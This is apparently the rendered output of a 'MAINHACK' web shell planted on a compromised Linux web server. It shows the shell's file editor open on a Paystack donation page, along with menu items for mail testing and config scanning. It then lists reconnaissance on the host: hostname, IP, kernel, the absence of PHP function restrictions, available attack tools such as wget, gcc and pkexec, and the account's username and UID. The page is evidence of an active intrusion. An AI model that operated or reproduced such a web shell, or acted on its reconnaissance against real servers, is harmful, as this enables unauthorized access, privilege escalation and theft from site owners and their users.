[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: donation.php
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>Paystack Inline Payment (GHS)</title> <script src="https://js.paystack.co/v1/inline.js"></script> </head> <body> <form id="paymentForm"> <input type="email" id="email" placeholder="Email" required> <input type="number" id="amount" placeholder="Amount (GHS)" required> <button type="button" onclick="payWithPaystack()">Pay Now</button> </form> <script> function payWithPaystack() { const email = document.getElementById('email').value; const amount = document.getElementById('amount').value; // Validate inputs if (!email || !amount || amount <= 0) { alert('Please enter a valid email and amount'); return; } // AJAX to initialize transaction const handler = new XMLHttpRequest(); handler.open('POST', 'initialize.php'); handler.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); handler.onreadystatechange = function() { if (handler.readyState === 4) { if (handler.status === 200) { const response = JSON.parse(handler.responseText); if (response.status) { // Open Paystack popup const paystackHandler = PaystackPop.setup({ key: 'pk_test_9020d8c1abe2aac4d970549d67435fccdfd57450', // Replace with test public key email: email, amount: amount * 100, // In pesewas currency: 'GHS', // Set to GHS access_code: response.data.access_code, onClose: function() { alert('Payment cancelled'); }, callback: function(response) { verifyPayment(response.reference); } }); paystackHandler.openIframe(); } else { alert('Initialization failed: ' + response.message + '\nDetails: ' + JSON.stringify(response)); } } else { alert('Server error: ' + handler.status); } } }; handler.send('email=' + encodeURIComponent(email) + '&amount=' + encodeURIComponent(amount)); } function verifyPayment(reference) { window.location.href = 'verify.php?reference=' + reference; } </script> </body> </html>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.73 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002